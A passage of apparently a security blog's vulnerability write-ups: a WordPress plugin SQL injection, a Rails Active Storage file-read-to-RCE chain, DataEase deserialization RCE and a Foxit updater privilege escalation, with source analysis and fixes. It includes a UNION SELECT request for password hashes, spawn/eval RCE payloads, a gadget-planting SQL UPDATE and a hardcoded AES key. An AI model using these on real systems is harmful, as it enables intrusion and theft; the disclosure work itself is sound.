This class extends WP_Query to build the actual post listing shown on the page. If both boundary parameters are set, it hands them off to the function that builds the SQL fragment and appends it to the WHERE clause. The same pattern shows up in plugins/members-locator/includes/class-gmw-members-locator-form.php, so BuddyPress member search was affected too.

4. The sink: string concatenation into SQL

includes/gmw-functions.php (pre-fix)

/**
 * SQL to get locations within boundaries.
 *
 * @param  string $southwest southwest coords comma separated.
 * @param  string $northeast northeast coords comma separated.
 * @since 4.0.
 */
function gmw_get_locations_within_boundaries_sql( $southwest = '', $northeast = '' ) {

    if ( empty( $southwest ) || empty( $northeast ) ) {
        return;
    }

    $sw = explode( ',', $southwest );
    $ne = explode( ',', $northeast );

    return " AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} < {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} )
            OR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )";
}

Two things stack up here:

explode(',', $southwest) splits "37.5,-122.4" into an array — it says nothing about whether the pieces are actually numbers.
$sw[0], $sw[1], $ne[0], $ne[1] are interpolated directly inside a double-quoted string via {$var}. No $wpdb->prepare(), no esc_sql(), not even a (float) cast.

So if southwest is 0,0) OR SLEEP(5)-- -, explode() gives $sw[0] = "0" and $sw[1] = "0) OR SLEEP(5)-- -", and that second fragment lands verbatim inside the BETWEEN clause. This isn't a value being swapped in wrong — it's the query's structure being handed to whoever controls the request.

What exploitation looks like

A normal map interaction produces something like:

GET /?page_id=4&swlatlng=40.70,-74.02&nelatlng=40.75,-73.97

An attacker just replaces the coordinate with a SQL fragment:

GET /?page_id=4&swlatlng=0,0)%20UNION%20SELECT%20user_login,user_pass,3,4,5%20FROM%20wp_users--%20-&nelatlng=1,1

No login, no CSRF token, one GET request.
The SELECT against gmw_locations can be turned into a UNION SELECT pulling admin password hashes out of wp_users (real exploitation needs matching column count/types to the original query, but nothing in this code path stops you from getting there).
Time-based blind injection (SLEEP()) works too if you want to exfiltrate data without a direct output channel.
Unauthenticated + network vector + direct confidentiality/integrity impact is exactly why this scored 9.3.

The fix in 4.5.5.1

The vendor closed this with two layers: validate the input, then parameterize the query.

Validation function

/**
 * Parse and validate a comma separated lat,lng pair.
 *
 * @param string $boundary comma separated lat,lng value.
 * @return array|false
 */
function gmw_parse_latlng_boundary( $boundary = '' ) {

    if ( ! is_string( $boundary ) || '' === $boundary ) {
        return false;
    }

    $coords = array_map( 'trim', explode( ',', $boundary ) );

    if ( 2 !== count( $coords ) ) {
        return false;
    }

    if ( ! is_numeric( $coords[0] ) || ! is_numeric( $coords[1] ) ) {
        return false;
    }

    $lat = (float) $coords[0];
    $lng = (float) $coords[1];

    if ( ! is_finite( $lat ) || ! is_finite( $lng ) ) {
        return false;
    }

    if ( abs( $lat ) > 90 || abs( $lng ) > 180 ) {
        return false;
    }

    return array( $lat, $lng );
}

It checks that the comma-split value has exactly two pieces, that both are numeric, that they're finite floats, and that they fall inside valid latitude (±90) / longitude (±180) ranges. Any failure returns false.

Rejected right at the entry point

if ( isset( $output['swlatlng'] ) && false === gmw_parse_latlng_boundary( $output['swlatlng'] ) ) {
    unset( $output['swlatlng'] );
}

if ( isset( $output['nelatlng'] ) && false === gmw_parse_latlng_boundary( $output['nelatlng'] ) ) {
    unset( $output['nelatlng'] );
}

This runs inside gmw_get_form_values(), right after the request is parsed. Anything that doesn't validate never makes it downstream to the query builder at all.

The SQL builder now uses `$wpdb->prepare()`

function gmw_get_locations_within_boundaries_sql( $southwest = '', $northeast = '' ) {

    if ( empty( $southwest ) || empty( $northeast ) ) {
        return;
    }

    $sw = gmw_parse_latlng_boundary( $southwest );
    $ne = gmw_parse_latlng_boundary( $northeast );

    if ( false === $sw || false === $ne ) {
        return '';
    }

    global $wpdb;

    return $wpdb->prepare(
        ' AND ( gmw_locations.latitude BETWEEN %f AND %f ) AND ( ( %f < %f AND gmw_locations.longitude BETWEEN %f AND %f )
                OR ( %f > %f AND (gmw_locations.longitude BETWEEN %f AND 180 OR gmw_locations.longitude BETWEEN -180 AND %f ) ) )',
        $sw[0],
        $ne[0],
        $sw[1],
        $ne[1],
        $sw[1],
        $ne[1],
        $sw[1],
        $ne[1],
        $sw[1],
        $ne[1]
    );
}

Every {$sw[0]}-style interpolation is now a %f placeholder, and the actual values are passed as arguments to $wpdb->prepare(), which escapes them at the driver level. Because only values that already passed gmw_parse_latlng_boundary() reach this function, validation and escaping both have to be defeated for this to be exploitable again — defense in depth, not just a single gate.

Attack chain

Takeaways from the code itself

explode(',', $user_input) followed by unchecked interpolation into SQL is a recurring pattern: the assumption "it looks like a coordinate, so it must be a number" is doing all the security work, and it's wrong.
In WordPress, parse_str($_SERVER['QUERY_STRING'], $output) turns every key an attacker sends into an array entry. Without an explicit allow-list, every value in that array is untrusted input — regardless of what the parameter name implies it should contain.
$wpdb->prepare()'s %f/%d/%s placeholders type-cast and escape automatically, so even "obviously numeric" values like coordinates, distances, or IDs should go through it. Pairing input validation (is_numeric, range checks) with prepare(), like this patch does, means one layer failing doesn't automatically mean the other does too.

CVE-2026-66066 (KindaRails2Shell): Arbitrary File Read to RCE in Rails Active Storage via libvips

GUIDANCE WHITE — Thu, 20 Aug 2026 23:13:37 +0000

Overview

Item	Detail
CVE ID	CVE-2026-66066
Nickname	KindaRails2Shell
CVSSv4	9.5 (Critical)
CWE	CWE-1188 (Insecure Default Initialization of a Resource)
Component	Rails Active Storage + libvips (`variant_processor = :vips`)
Affected	activestorage < 7.2.3.2, 8.0.0–8.0.5.0, 8.1.0–8.1.3.0 (6.x only if vips was manually configured)
Fixed in	7.2.3.2 / 8.0.5.1 / 8.1.3.1
Auth required	None (unauthenticated)
Precondition	App accepts image uploads and uses libvips as the Active Storage variant processor

Since Rails 7.0, any application running load_defaults 7.0 or later uses libvips as the default Active Storage image processor. This bug isn't a single bad line of code — it's two separate trust failures stacking on top of each other:

The point where Rails decides a blob "is an image."
The point where libvips decides which file-format parser to use.

And a third failure sits underneath both: libvips and libmatio (the MAT-file library libvips delegates to) don't even agree on how to read the same header.

TL;DR of the chain:

The Direct Upload API stores the client-supplied content_type with zero validation.
Active Storage decides "this is an image" purely from that stored string — it never opens the file.
The signed variation_key used to request a representation is verified independently of the blob ID, so a legitimate key issued for one blob can be replayed against another.
libvips picks its loader by sniffing the first 10 bytes of the file. libmatio, which actually parses MAT files, picks its format by reading bytes 124–125. A single crafted file can satisfy both checks differently — "MATLAB 5.0" for libvips, "MAT 7.3 / HDF5" for libmatio.
MAT 7.3 is HDF5 under the hood, and HDF5 datasets support External Storage — a legitimate feature that lets a dataset's bytes come from an attacker-chosen path and offset on disk. libvips renders whatever comes back as pixel data.
The result: arbitrary server files (/proc/self/environ, config/master.key, etc.) get leaked as pixel values inside a normal-looking PNG. Once an attacker recovers secret_key_base from that, they can sign a brand-new variation and reach Kernel#spawn / Kernel#eval through image_processing's method dispatch — full RCE.

Let's walk through the actual source.

1. Direct Upload stores an attacker-controlled `content_type`

In Rails 8.0.5, ActiveStorage::DirectUploadsController takes the client's parameters and forwards them straight into blob creation:

class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}])
            .to_h.symbolize_keys # [2]
    end

def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:,
                                  content_type: nil, metadata: nil,
                                  service_name: nil, record: nil)
  metadata = filter_metadata(metadata)
  create! key: key, filename: filename, byte_size: byte_size, checksum: checksum,
          content_type: content_type, metadata: metadata, service_name: service_name # [3]
end

[1] and [2] accept content_type straight from the request. [3] writes it to the blob record without touching the actual bytes.

This matters because the direct-upload path skips the server-side sniffing step (the Marcel-based "unfurl" flow) that a normal multipart upload goes through. Upload the exact same crafted file via a standard multipart attachment and Rails re-identifies it as MATLAB data before it ever reaches the image pipeline. Direct upload never runs that re-identification at all.

Once the blob exists, whether it's eligible for transformation is decided purely from that stored column:

def variant(transformations)
  if variable?
    variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
  else
    raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
  end
end

# Returns true if the variant processor can transform the blob (its content
# type is in +ActiveStorage.variable_content_types+).
def variable?
  ActiveStorage.variable_content_types.include?(content_type) # [4]
end

[4] is a plain set-membership check against a string. No file is opened. A MAT/HDF5 payload registered as image/png sails straight into the image variant pipeline.

2. The `variation_key` isn't bound to a specific blob

Requesting a variant needs two signed parameters: a blob_id and a variation_key. Rails verifies them independently:

module ActiveStorage::SetBlob
  extend ActiveSupport::Concern
  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end

class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController
  include ActiveStorage::SetBlob
  before_action :set_representation

  private
    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # [6]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end

def decode(key)
  new ActiveStorage.verifier.verify(key, purpose: :variation) # [7]
end

[5] checks the blob ID's signature. [6]/[7] separately check the variation key's signature. Nothing cross-checks that the key was actually issued for that blob. An attacker can grab any variation_key exposed by a legitimate representation URL from the same app and replay it against the signed ID of their own freshly-created direct-upload blob.

That's the important part: the file-read stage doesn't require secret_key_base at all.

3. The Vips pipeline leaves decoder selection to libvips

Active Storage hands the tempfile path off to image_processing. The loader(page: 0) call reads like it's picking a decoder — it isn't. It's just storing options for whichever loader libvips ends up choosing on its own:

def process(file, format:)
  processor.
    source(file).
    loader(page: 0). # [8]
    convert(format).
    apply(operations). # [9]
    call
end

image_processing 1.14.0's actual load logic:

def self.load_image(path_or_image, loader: nil, autorot: true, **options)
  if path_or_image.is_a?(::Vips::Image)
    image = path_or_image
  else
    path = path_or_image
    if loader
      image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
    else
      options = Utils.select_valid_loader_options(path, options)
      image = ::Vips::Image.new_from_file(path, **options) # [12]
    end
  end
  image = image.autorot if autorot && !options.key?(:autorotate)
  image
end

loader is nil, so [12] leaves the choice entirely to libvips's own file sniffers. This is the point where "what Rails believes the file is" and "what libvips decides the file is" fully diverge.

4. libvips vs. libmatio: two different opinions on the same header

In libvips 8.16.1, matload is explicitly flagged as untrusted:

static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
    /* ... */
    operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // [13]
    foreign_class->suffs = vips__mat_suffs;
    load_class->is_a = vips__mat_ismat; // [14]

Vulnerable Active Storage releases never actually used that flag to block the loader. And the sniffer behind it is about as minimal as it gets:

int
vips__mat_ismat(const char *filename)
{
    unsigned char buf[15];

    if (vips__get_bytes(filename, buf, 10) == 10 &&
        vips_isprefix("MATLAB 5.0", (char *) buf)) // [15]
        return 1;

    return 0;
}

[15]: if the first 10 bytes start with "MATLAB 5.0", libvips commits to matload. Worth noting: a genuine MAT 7.3 file's header text actually reads "MATLAB 7.3 MAT-file", so it would fail this exact check — as far as libvips is concerned, this file looks like old-style MAT 5.0, nothing more.

The library that actually parses the content, libmatio (1.5.28), doesn't look at that descriptive text at all — it reads a fixed version field at bytes 124–125:

enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /* MATLAB version 7.3 file */ // [16]
    MAT_FT_MAT5  = 0x0100,
    MAT_FT_MAT4  = 0x0010,
    MAT_FT_UNDEFINED = 0
};

Mat_Open(const char *matname, int mode)
{
    /* read 116-byte header + 8-byte subsys_offset + 2 bytes + 2 bytes (tmp) */
    bytesread += fread(mat->header, 1, 116, fp);
    mat->header[116] = '\0';
    bytesread += fread(mat->subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        mat->byteswap = -1;
        if ( tmp == 0x4d49 ) mat->byteswap = 0;
        else if ( tmp == 0x494d ) { mat->byteswap = 1; Mat_int16Swap(&tmp2); }

        mat->version = (int)tmp2; // [17] <- read from bytes 124–125
        if ( (mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) {
            mat->bof = ftello((FILE *)mat->fp);
            mat->next_index = 0;
        } else {
            mat->version = 0;
        }
    }

[17] decides the actual parsing path:

static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat->version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat->version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // [18]
#endif
    else if ( mat->version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

Put the two together:

libvips commits to matload if the first 10 bytes read "MATLAB 5.0".
libmatio commits to the HDF5-backed Mat_VarRead73 path if bytes 124–125 read 0x0200.

Build a single file where the front says "MATLAB 5.0" and bytes 124–125 say 0x0200, and you satisfy libvips's gate while still landing in libmatio's HDF5 parser. This works because HDF5 explicitly reserves up to a 512-byte "userblock" at the start of the file for exactly this kind of prefix data. The attacker plants a fake MAT 5.0 header text in that userblock, then appends a real HDF5 superblock right after it.

5. HDF5 External Storage as an arbitrary-file-read primitive

MAT 7.3 files are HDF5 containers. HDF5 datasets support External Storage — a legitimate, spec-compliant feature where a dataset's actual values live in a separate file, at a caller-specified path and offset, rather than inside the container itself. Nothing wrong with the feature in isolation; the problem is that here, the attacker fully controls the dataset definition, and therefore controls which file and offset get read.

libmatio's actual HDF5 read call:

static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space,
               int isComplex, void *data)
{
    herr_t herr;
    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // [19]
        if ( herr < 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }

There's no H5Pget_external_count() check before [19] — nothing verifies whether this dataset is even supposed to reference external storage before HDF5 goes and reads it. The runtime resolves the external reference and copies bytes straight from the attacker-chosen file into the MAT variable's data buffer. libvips then treats that buffer as pixel data, encodes it as PNG (or whatever format was requested), and Active Storage serves it back as a normal representation.

End to end: arbitrary file on disk → pixel values → PNG → HTTP response.

You don't need a variant request to trigger this

The advisory is explicit that generating variants isn't a separate requirement, and it's worth internalizing why. Active Storage also calls Vips::Image.new_from_file during image analysis, which runs automatically after a blob is attached — no variant request needed. In that path, libmatio ends up reading external bytes while computing the dimensions of an empty array, and those bytes can surface as the reported width/height metadata instead of pixel values. Lower bandwidth per request, but it breaks the assumption that "if we never render a variant, we're safe."

6. Why the patch actually works

The v8.0.5 → v8.0.5.1 diff doesn't add a content-type check. It loads a new initializer that flips a switch libvips already exposed:

diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+require "active_storage/vips"

diff --git a/activestorage/lib/active_storage/vips.rb (new file)
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    require "image_processing/vips"
+  rescue LoadError
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # [20]
+    raise <<~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # [21]
+end

[20] makes the app refuse to boot if the installed ruby-vips/libvips pair doesn't support the blocking API — no silent fallback to the vulnerable behavior. [21] blocks every operation libvips itself has flagged VIPS_OPERATION_UNTRUSTED, globally, at boot. Since matload already carried that flag, this single call closes the path before a crafted file ever reaches libmatio.

The fix isn't "check the content harder." It's "stop leaving a loader enabled that upstream already told you not to trust with untrusted input."

7. From file read to RCE: abusing `send`

Arbitrary file read alone is enough to pull SECRET_KEY_BASE out of /proc/self/environ. Once an attacker has that, they can derive the Active Storage verifier key and sign brand-new variations instead of just replaying stolen ones — meaning they can now request arbitrary transformations, not just the ones already exposed in the app.

image_processing 1.14.0's Chainable#apply:

def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
    if argument == true || argument == nil
      builder.public_send(name)
    elsif argument.is_a?(Array)
      builder.public_send(name, *argument) # [22]
    elsif argument.is_a?(Hash)
      builder.public_send(name, **argument)
    else
      builder.public_send(name, argument)
    end
  end
end

[22]: the transformation's name is passed directly into public_send. If name is "send", the first element of the array becomes a second-order method call — reaching private methods like Kernel#spawn or Kernel#eval.

These JSON-compatible shapes are enough for code execution:

{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}

The asymmetry worth noting: :mini_magick transformations go through validate_transformation, which checks method names. :vips transformations don't get the same check. That specific gap is tracked separately in Rails PR rails/rails#56995 — it's a distinct bug from the MAT/HDF5 header confusion, but chained together they turn "file read" into "read secrets → forge signature → RCE" as one continuous path. Execution happens while the processing pipeline is still being built, so even if the final HTTP response comes back as a 500, the command has already run.

8. Full attack chain

As a plain-text summary:

[Attacker] --(1) Creates a direct-upload blob with content_type=image/png-->
[Rails: stores content_type only, no byte inspection] --(2) Replays a legit variation_key from another blob-->
[Rails: blob ID / variation_key verified independently, no cross-check] --(3) Triggers a representation-->
[image_processing: no loader specified, calls Vips.new_from_file] --(4) libvips checks only the first 10 bytes-->
[libvips: "MATLAB 5.0" prefix matches -> selects matload] --(5) libmatio checks bytes 124-125-->
[libmatio: MAT_FT_MAT73 (0x0200) -> dispatches to HDF5 reader] --(6) resolves external dataset path+offset-->
[HDF5: reads attacker-chosen file via External Storage] --(7) rendered as pixel data-->
[Returned to client as a normal PNG representation]
   |
   +--(8) Attacker extracts secret_key_base from leaked file-->
[Attacker derives the Active Storage verifier key] --(9) Signs {"send":["spawn",...]}-->
[image_processing Chainable#apply: public_send(name, *args)] --(10)--> [Kernel#spawn / Kernel#eval = RCE]

9. Remediation

Upgrade Active Storage to 7.2.3.2 / 8.0.5.1 / 8.1.3.1 or later.
You need libvips ≥ 8.13 and ruby-vips ≥ 2.2.1 alongside the patch — without them, Vips.block_untrusted(true) isn't available and the patched Active Storage will refuse to boot rather than run unprotected.
Rails 7.1 and earlier, and 6.x, have no official backport — a major version upgrade is the only vendor-supported fix. If that's not immediately feasible, mitigate with WAF rules or a backported patch in the meantime.
Rotate secret_key_base, RAILS_MASTER_KEY, and any service credentials the app process could read, regardless of when you patch — the read itself could already have happened before you upgraded.
Apps using MiniMagick instead of :vips as the variant processor aren't exposed to this specific attack path.

CVE-2026-40901: DataEase Root RCE via Unfiltered Quartz Deserialization

GUIDANCE WHITE — Wed, 19 Aug 2026 06:54:11 +0000

1. Overview

DataEase is an open-source BI (business intelligence) and data visualization platform maintained by FIT2CLOUD, with over 23K stars on GitHub. CVE-2026-40901 lives in how DataEase's bundled Quartz scheduler deserializes job data: there's no filter whatsoever on the ObjectInputStream that reads it back, so an attacker-controlled serialized payload gets executed as-is — resulting in root-level remote command execution inside the container.

On its own this is already severe, but it's actually the final link in a 4-vulnerability chain disclosed by the OX Security research team.

Stage	CVE	Description
0	CVE-2026-23958	DataEase authentication bypass (disclosed at RSAC 2026)
1	CVE-2026-40899	Lombok `@Data` auto-generated setter bypasses the JDBC parameter blocklist → arbitrary file read
2	CVE-2026-40900	`previewSql` subquery escape + `allowMultiQueries` → stacked-query SQL injection
3	CVE-2026-40901	Quartz job data deserialization → root RCE

This post focuses on stage 3, CVE-2026-40901 itself — specifically, how a deserialization bug turns into full RCE, walked through at the source code level.

2. Why Quartz Becomes the Attack Surface

Quartz is a widely-used Java job scheduling library. It manages job definitions (what to run) and triggers (when to run it). DataEase configures it with a JDBC JobStore, meaning job state lives in a database table instead of memory.

That table is qrtz_job_details, and one column in particular matters here: JOB_DATA.

-- qrtz_job_details table (relevant columns only)
SCHED_NAME     VARCHAR(120)  -- scheduler instance name
JOB_NAME       VARCHAR(200)  -- job name (e.g. check_status)
JOB_GROUP      VARCHAR(200)  -- job group (e.g. Datasource)
JOB_CLASS_NAME VARCHAR(250)
JOB_DATA       BLOB          -- ★ a serialized Java object lives here

JOB_DATA holds a JobDataMap object, serialized via ObjectOutputStream into raw bytes. Every time Quartz fires a job, it pulls this BLOB back out and deserializes it with ObjectInputStream. That's the crux of the vulnerability.

3. The Deserialization Call Path

DataEase bundles Quartz 2.3.2. The actual call chain looks like this:

JobStoreSupport.retrieveJob(SchedulingContext, JobKey)
    └── StdJDBCDelegate.selectJobDetail(Connection, JobKey, ClassLoadHelper)
            └── getJobDataFromBlob(ResultSet, colName)
                    └── getObjectFromBlob(ResultSet, colName)   // ← the actual deserialization point

The last method, getObjectFromBlob(), is where the problem is fully exposed:

// org.quartz.impl.jdbcjobstore.StdJDBCDelegate
protected Object getObjectFromBlob(ResultSet rs, String colName)
        throws ClassNotFoundException, IOException, SQLException {
    Object obj = null;
    Blob blobLocator = rs.getBlob(colName);

    if (blobLocator != null) {
        InputStream binaryInput = blobLocator.getBinaryStream();
        if (binaryInput != null && binaryInput.available() != 0) {
            ObjectInputStream in = new ObjectInputStream(binaryInput);
            try {
                obj = in.readObject();   // ★ deserializes whatever class is on the wire
            } finally {
                in.close();
            }
        }
    }
    return obj;
}

One line does all the damage: in.readObject(). A few things stand out about it:

No class allowlist. Whatever class the BLOB says it is, it gets instantiated — as long as that class exists somewhere on the JVM's classpath.
No ObjectInputFilter (JEP 290, standard since Java 9) attached. There's no hook intercepting readObject() to reject dangerous classes before they're constructed.
No trust boundary check on the source of the bytes. JOB_DATA is read straight from the database — whoever can write to that column controls what gets deserialized.

That resolves into a simple equation: write access to qrtz_job_details.JOB_DATA == arbitrary code execution. And DataEase already hands an attacker that write access via the SQL injection in the prior stage (CVE-2026-40900).

-- Conceptual example of the stacked-query SQL injection overwriting JOB_DATA
UPDATE qrtz_job_details
SET job_data = 0x<serialized malicious bytes>
WHERE job_name = 'check_status' AND job_group = 'Datasource';

4. What Gets Planted — the InvokerTransformer Gadget Chain

An unfiltered readObject() alone doesn't automatically mean command execution. Java deserialization, by design, only reconstructs object state — turning that into Runtime.exec() requires chaining together classes that already happen to sit on the classpath. This is what's known as a "gadget chain."

DataEase's container happens to have both ingredients needed to complete one:

commons-collections-3.2.1.jar — ships InvokerTransformer, a class that invokes an arbitrary method via reflection
velocity-1.7.jar — DataEase already uses the modern velocity-engine-core-2.3.jar, but this old, unused velocity-1.7.jar was never cleaned out of the classpath, and it's the thing that drags the vulnerable commons-collections-3.2.1 in with it

Here's the core of InvokerTransformer:

// org.apache.commons.collections.functors.InvokerTransformer
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);   // ★ arbitrary method call via reflection
    } catch (...) { ... }
}

iMethodName, iParamTypes, and iArgs are all fields inside the deserialized object — meaning the attacker fully controls them when crafting the serialized payload. Chaining several of these together with a ChainedTransformer produces a sequence like:

ChainedTransformer execution order:
1) Obtain the Runtime class      (via the static Runtime.getRuntime method)
2) Call getRuntime()             to get a Runtime instance
3) Call exec(String) on it       ← arbitrary command execution happens here

What actually kicks this transformer chain off during deserialization is a side effect of classes like LazyMap or AnnotationInvocationHandler invoking equals(), hashCode(), or a dynamic proxy's invoke() while the object graph is being reconstructed — this is the well-known CommonsCollections6 (CC6) gadget chain. In short, the attacker hijacks "some method call that happens automatically right after deserialization" and turns it into a call to Runtime.exec().

The root cause, in one sentence:

A deserialization sink with no filter (Quartz's raw ObjectInputStream) coexisting on the same classpath as gadget-chain material (an outdated Commons Collections, dragged in by an unnecessary legacy Velocity dependency).

Removing any single one of the three — a serialization filter, a patched Commons Collections version, or cleaning up the dead Velocity jar — would have broken this chain.

5. Full Attack Flow

Using the SQL injection obtained via the CVE-2026-40899 + CVE-2026-40900 chain, the attacker overwrites the JOB_DATA column of the Datasource/check_status job in qrtz_job_details with a serialized CC6 gadget chain.
That job has a cron trigger firing every 6 minutes, so the attacker just waits — no additional trigger action needed.
When the trigger fires, JobStoreSupport calls retrieveJob(), which eventually reaches StdJDBCDelegate.getObjectFromBlob() and calls ObjectInputStream.readObject().
During deserialization, the InvokerTransformer chain fires, ultimately calling Runtime.exec(attacker_command).
Since DataEase's JVM process runs as root inside the container, the attacker gets a root shell (typically a reverse shell) immediately.

Chained together with the authentication bypass (CVE-2026-23958), this becomes fully unauthenticated remote root compromise of any internet-exposed DataEase instance.

6. The Fix (v2.10.21)

DataEase shipped v2.10.21 on April 16, 2026, resolving the issue by removing the gadget-chain ingredients rather than hardening the deserialization sink itself:

Removed the unused legacy velocity-1.7.jar dependency
As a consequence, the commons-collections-3.2.1.jar it was dragging in was also removed from the classpath

In other words, the underlying architectural issue — Quartz's unfiltered deserialization sink — is still structurally there. The patch cuts off the specific gadget material that made it exploitable.

7. What to Check on Your Own Instance

If you're running DataEase and haven't upgraded yet, check whether these legacy jars are present:

# Check for the legacy velocity/commons-collections jars inside the container
find / -name "velocity-1.7.jar" 2>/dev/null
find / -name "commons-collections-3.2.1.jar" 2>/dev/null

If an immediate upgrade isn't possible, a JEP 290 deserialization filter is a viable stopgap:

# Add to DataEase's JAVA_OPTS at startup
JAVA_OPTS="-Djdk.serialFilter=!org.apache.commons.collections.functors.*;!org.apache.commons.collections.Transformer;maxdepth=20"

This causes any class under commons-collections's functors package to be rejected with InvalidClassException the moment it appears during deserialization — before any gadget method gets a chance to run.

SYSTEM Privilege Escalation via Forged IPC in Foxit PDF Reader's Update Service (CVE-2026-57239)

GUIDANCE WHITE — Sun, 16 Aug 2026 07:47:42 +0000

Overview

Field	Value
CVE ID	CVE-2026-57239
Type	Local Privilege Escalation
CVSS	8.2 (High)
Affected	Foxit PDF Reader/Editor 2026.1.1 and earlier, 14.0.4 and earlier, 13.2.4 and earlier (Windows)
Fixed in	2026.1.2 / 14.0.5 / 13.2.5
Discovered by	Luke Paris (Paradoxis)
Disclosed	2026-07-15

CVE-2026-57239 lets a low-privileged Windows user who already has code execution escalate to NT AUTHORITY\SYSTEM. It isn't remote code execution — it's a post-exploitation privilege-escalation chain that turns "I can run code as a normal user" into "I own the box."

Three separate design flaws combine to make this work:

A SYSTEM-level service trusts a user-writable file under ProgramData as its command channel.
That file's IPC command is AES-128-CBC encrypted with a key hardcoded in the client binary, so anyone can forge a valid message.
The process the service ultimately launches is vulnerable to DLL (or in this case, DRV) sideloading.

Chain all three together and a standard user reaches SYSTEM code execution.

1. The Target: FoxitPDFReaderUpdateService.exe

Foxit PDF Reader ships two related processes:

%APPDATA%\Foxit Software\Continuous\Addon\Foxit PDF Reader\FoxitPDFReaderUpdater.exe — the actual updater, running with the current user's privileges
FoxitPDFReaderUpdateService.exe — a background service running as NT AUTHORITY\SYSTEM

Watching this service in Procmon shows it repeatedly polling three files:

C:\ProgramData\Foxit Software\Foxit PDF Reader\Foxit Service\Log\log.lib
C:\ProgramData\Foxit Software\Foxit PDF Reader\FoxitData.txt
C:\Program Files\Foxit Software\Foxit PDF Reader\ProfStore\ProfStore.xml

The Program Files path is off-limits to standard users. But C:\ProgramData\Foxit Software\Foxit PDF Reader\ is writable by the Users group by default — meaning any unprivileged process can freely create or modify FoxitData.txt.

Triggering an update check inside the Reader produces this event sequence:

FoxitData.txt gets created/written
%APPDATA%\...\FoxitPDFReaderUpdater.exe is launched
That process runs as SYSTEM

In other words, whatever gets written to FoxitData.txt decides what the SYSTEM service executes, and with what arguments. The problem is how loosely that content is validated.

2. IPC Message Format: AES-128-CBC With a Hardcoded Key

Foxit's own logs (log.lib) capture both the plaintext command written into FoxitData.txt and the hex blob preceding it. The plaintext is a pipe (||) delimited list of key=value pairs:

sessionid=1||strTempUpdaterPath=C:\Users\User\AppData\Roaming\Foxit Software\Continuous\Addon\Foxit PDF Reader\FoxitPDFReaderUpdater.exe||csCommandLine= -updater -type "Auto Updater" -hwnd 131494 -bnoshowtip -readerpath "C:\Program Files\Foxit Software\Foxit PDF Reader\" -regpath "HKEY_CURRENT_USER\Software\Foxit Software\Foxit PDF Reader\Continuous" -version "2026.1.0.36452" -readerlang "en-US" -UpdateMode "1" -SessionID "1"

Breaking down the fields:

sessionid — which Windows logon session (winlogon.exe) the SYSTEM service should associate the new process with
strTempUpdaterPath — the full path of the executable to run as SYSTEM
csCommandLine — the arguments passed to it

Reverse engineering FoxitPDFReaderUpdateService.exe reveals the key setup:

// FoxitPDFReaderUpdateService.exe (reconstructed from disassembly)
BYTE encryption_key[0x10];
memcpy(&encryption_key, "c6c7702dbcbf4678", 0x10u); // 16-byte hardcoded key
AES_SetKey(&aes_ctx, encryption_key, 128 /* bits */);
AES_CBC_Decrypt(&aes_ctx, iv_zero, ciphertext, ciphertext_len, plaintext_out);

The key is baked straight into the binary. A few quirks make reproducing the exact wire format tricky:

The IV is fixed at all zero bytes (16 null bytes).
Plaintext is padded to the 16-byte AES block size with null bytes, not PKCS#7.
The trickiest part: capturing the actual bytes Foxit writes to disk in API Monitor shows a 00 byte interleaved with every other byte — meaning the plaintext is encoded as UTF-16LE before encryption. Encoding as plain ANSI/UTF-8 produces ciphertext the service will never accept.
The final ciphertext is hex-encoded, and that hex string is itself re-encoded as UTF-16 before being written to FoxitData.txt.

The full pipeline looks like this:

plaintext command string (key=value||key=value...)
   → UTF-16LE encode
   → pad with 0x00 to a multiple of 16 bytes
